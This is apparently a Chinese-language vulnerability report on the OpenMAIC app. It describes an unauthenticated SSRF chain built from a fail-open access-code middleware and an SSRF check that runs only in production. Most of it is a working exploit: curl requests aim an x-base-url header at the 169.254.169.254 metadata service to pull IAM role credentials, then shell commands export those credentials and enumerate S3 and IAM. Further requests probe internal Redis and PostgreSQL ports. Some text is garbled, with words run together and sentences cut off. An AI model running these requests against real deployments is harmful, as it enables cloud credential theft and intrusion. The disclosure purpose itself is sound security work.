已验证。OpenMAIC 的认证中间件与出站提供商请求层中存在一条两段式利用链,允许未认证的远程攻击者使应用服务器发起任意出站 HTTP 请求——包括访问位于 169.254.169.254 的云实例元数据服务(IMDS)——而无需持有任何凭据。
第一段: middleware.ts 中的 Next.js Edge 中间件在 ACCESS_CODE 环境变量缺失时采用 fail-open 姿态。在默认的 .env.example 配置中,ACCESS_CODE 未设置,这意味着全部 70 个 API 路由全局未认证,任何外部客户端均可访问。
第二段: 在五个不同的 API 路由处理器中,客户端提供的提供商基础 URL(通过 x-base-url 或 baseUrl 请求参数)仅在 process.env.NODE_ENV === 'production' 时才会经过 validateUrlForSSRF()。在任何 、、 或未设置的环境中,SSRF 防护被完全跳过,应用会向攻击者控制的 URL 发起出站 。
developmentstagingpreviewfetch()将两者串联:未认证攻击者向任意生成端点提供 x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/,服务器便会获取云 IAM 角色凭据并在响应中返回。无需事先拥有账户、无需令牌、无需本地立足点。
该中间件是所有 API 路由的唯一认证关口。当 ACCESS_CODE 未设置时——即 .env.example 所规定的默认状态——对每个路由的每个请求都会立即通过。没有回退机制、没有发出警告、没有替代认证检查。fail-open 是无条件且静默的。这使 70 个 API 端点暴露给任何未认证调用者,包括生成、持久化、媒体代理、提取和 AI 执行路由。
lib/server/ssrf-guard.ts 中的 validateUrlForSSRF 函数已通过 ALLOW_LOCAL_NETWORKS 正确处理了特定环境的例外情况。每个路由处理器中的 NODE_ENV 门控作为开发模式便利措施完全是多余的,但作为安全边界却是灾难性的:它在 staging、preview、CI/CD 以及未显式将 NODE_ENV 设置为 'production' 的自托管部署中全局禁用了 SSRF 验证。
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
预期响应(IMDS 透传):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
预期响应:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| 阶段 | 步骤 | 效果 |
|---|---|---|
| 1. 未认证入口 | 远程客户端在无 cookie 或令牌的情况下向 /api/generate/image 发送 HTTP 请求 | middleware.ts 评估 !process.env.ACCESS_CODE 并调用 NextResponse.next() |
| 2. 请求头摄取 | 攻击者在请求头中指定目标内部地址:x-base-url: http://169.254.169.254/... | 路由处理器从请求头中提取 clientBaseUrl |
| 3. SSRF 绕过 | 服务器环境具有 NODE_ENV !== 'production'(例如 staging 或容器默认值) | 处理器将 process.env.NODE_ENV === 'production' 评估为 false 并跳过 validateUrlForSSRF() |
| 4. 出站请求汇聚点 | 服务客户端使用攻击者提供的基础 URL 初始化并执行请求 | 服务器向 http://169.254.169.254/ 发起出站 fetch() |
| 5. 元数据窃取 | 云实例元数据服务以元数据或 IAM 安全凭据作为响应 | 服务器将 HTTP 响应体并入 API 返回载荷或错误消息中 |
| 6. 云转向 | 攻击者提取临时 AWS/GCP/Azure 安全凭据 | 攻击者在外部使用云凭据访问云资源和数据存储 |
前置条件:
ACCESS_CODE 的环境中(默认配置)。NODE_ENV 未严格设置为 'production'(例如 staging、dev、自托管或配置错误的容器)。为在不部署恶意载荷的情况下确认可达性并验证安全防御:
process.env.ACCESS_CODE 为 undefined 时,middleware.ts 返回 NextResponse.next()。向任意受保护端点(例如 POST /api/generate/image)发送不带认证头的 HTTP 请求,会得到端点级响应(例如针对提供商配置的 400/401),而非 401 Access Code Required 拒绝。NODE_ENV="staging" 或 NODE_ENV="development" 下,检查 validateUrlForSSRF 是否被调用。由于 if (clientBaseUrl && process.env.NODE_ENV === 'production'),执行会跳过验证块并尝试与指定基础 URL 建立网络连接。NODE_ENV='development' 并提供回环 URL http://127.0.0.1:9999 的模拟服务器或测试运行器,可验证请求是被以 INVALID_URL(403)拒绝,还是被允许继续进入网络传输。在未修补状态下,请求会尝试套接字连接;在已修补状态下,它会立即被以 HTTP 403 拒绝。